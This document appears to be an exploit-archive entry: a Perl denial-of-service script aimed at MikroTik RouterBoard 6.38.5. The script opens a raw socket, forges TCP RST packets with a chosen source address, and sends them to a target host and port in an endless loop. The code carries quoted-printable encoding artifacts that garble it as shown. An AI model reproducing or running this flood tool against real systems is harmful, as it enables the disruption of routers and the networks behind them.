MikroTik RouterBoard 6.38.5 Denial Of Service

`#!/usr/local/bin/perl  
  
use Socket;  
  
$src_host =3D $ARGV[0];=20  
$src_port =3D $ARGV[1];=20  
$dst_host =3D $ARGV[2];=20  
$dst_port =3D $ARGV[3];=20  
  
if(!defined $src_host or !defined $src_port or !defined $dst_host or !defin=  
ed $dst_port)=20  
{  
=09  
=09print "Usage: $0 <source host> <source port> <dest host> <dest port>\n";  
=09exit;  
}=20  
else=20  
{  
=09  
=09main();  
}  
=20  
sub main=20  
{  
=09my $src_host =3D (gethostbyname($src_host))[4];  
=09my $dst_host =3D (gethostbyname($dst_host))[4];  
=09$IPROTO_RAW =3D 255;  
=09socket($sock , AF_INET, SOCK_RAW, $IPROTO_RAW)=20  
=09=09or die $!;  
=09my ($packet) =3D makeheaders($src_host, $src_port, $dst_host, $dst_port)=  
;  
=09my ($destination) =3D pack('Sna4x8', AF_INET, $dst_port, $dst_host);  
=09while(1)  
=09{  
=09=09send($sock , $packet , 0 , $destination)  
=09=09=09or die $!;  
=09}  
}  
  
sub makeheaders=20  
{  
=09$IPPROTO_TCP =3D 6;  
=09local($src_host , $src_port , $dst_host , $dst_port) =3D @_;  
=09my $zero_cksum =3D 0;  
=09my $tcp_len =3D 20;  
=09my $seq =3D 19456;  
=09my $seq_ack =3D 0;  
=09my $tcp_doff =3D "5";  
=09my $tcp_res =3D 0;  
=09my $tcp_doff_res =3D $tcp_doff . $tcp_res;  
=09my $tcp_urg =3D 0;=20  
=09my $tcp_ack =3D 0;  
=09my $tcp_psh =3D 0;  
=09my $tcp_rst =3D 1;  
=09my $tcp_syn =3D 0;  
=09my $tcp_fin =3D 0;  
=09my $null =3D 0;  
=09my $tcp_win =3D 124;  
=09my $tcp_urg_ptr =3D 44;  
=09my $tcp_flags =3D $null . $null . $tcp_urg . $tcp_ack . $tcp_psh . $tcp_=  
rst . $tcp_syn . $tcp_fin ;  
=09my $tcp_check =3D 0;  
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=  
eq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr);  
=09my $tcp_pseudo =3D pack('a4a4CCn' , $src_host, $dst_host, 0, $IPPROTO_TC=  
P, length($tcp_header) ) . $tcp_header;  
=09$tcp_check =3D &checksum($tcp_pseudo);  
=09my $tcp_header =3D pack('nnNNH2B8nvn' , $src_port , $dst_port , $seq, $s=  
eq_ack , $tcp_doff_res, $tcp_flags, $tcp_win , $tcp_check, $tcp_urg_ptr);  
=09my $ip_ver =3D 4;  
=09my $ip_len =3D 5;  
=09my $ip_ver_len =3D $ip_ver . $ip_len;  
=09my $ip_tos =3D 00;  
=09my $ip_tot_len =3D $tcp_len + 20;  
=09my $ip_frag_id =3D 19245;  
=09my $ip_ttl =3D 25;  
=09my $ip_proto =3D $IPPROTO_TCP;=09  
=09my $ip_frag_flag =3D "010";  
=09my $ip_frag_oset =3D "0000000000000";  
=09my $ip_fl_fr =3D $ip_frag_flag . $ip_frag_oset;  
=09my $ip_header =3D pack('H2CnnB16CCna4a4',=09$ip_ver_len, $ip_tos, $ip_to=  
t_len, $ip_frag_id,=09$ip_fl_fr , $ip_ttl , $ip_proto , $zero_cksum , $src_=  
host , $dst_host);  
=09my $pkt =3D $ip_header . $tcp_header;  
=09return $pkt;  
}  
sub checksum=20  
{  
=09my ($msg) =3D @_;  
=09my ($len_msg,$num_short,$short,$chk);  
=09$len_msg =3D length($msg);  
=09$num_short =3D $len_msg / 2;  
=09$chk =3D 0;  
=09  
=09foreach $short (unpack("S$num_short", $msg))=20  
=09{  
=09=09$chk +=3D $short;  
=09}  
=09  
=09$chk +=3D unpack("C", substr($msg, $len_msg - 1, 1)) if $len_msg % 2;  
=09$chk =3D ($chk >> 16) + ($chk & 0xffff);  
=09  
=09return(~(($chk >> 16) + $chk) & 0xffff);  
}=20  
  
`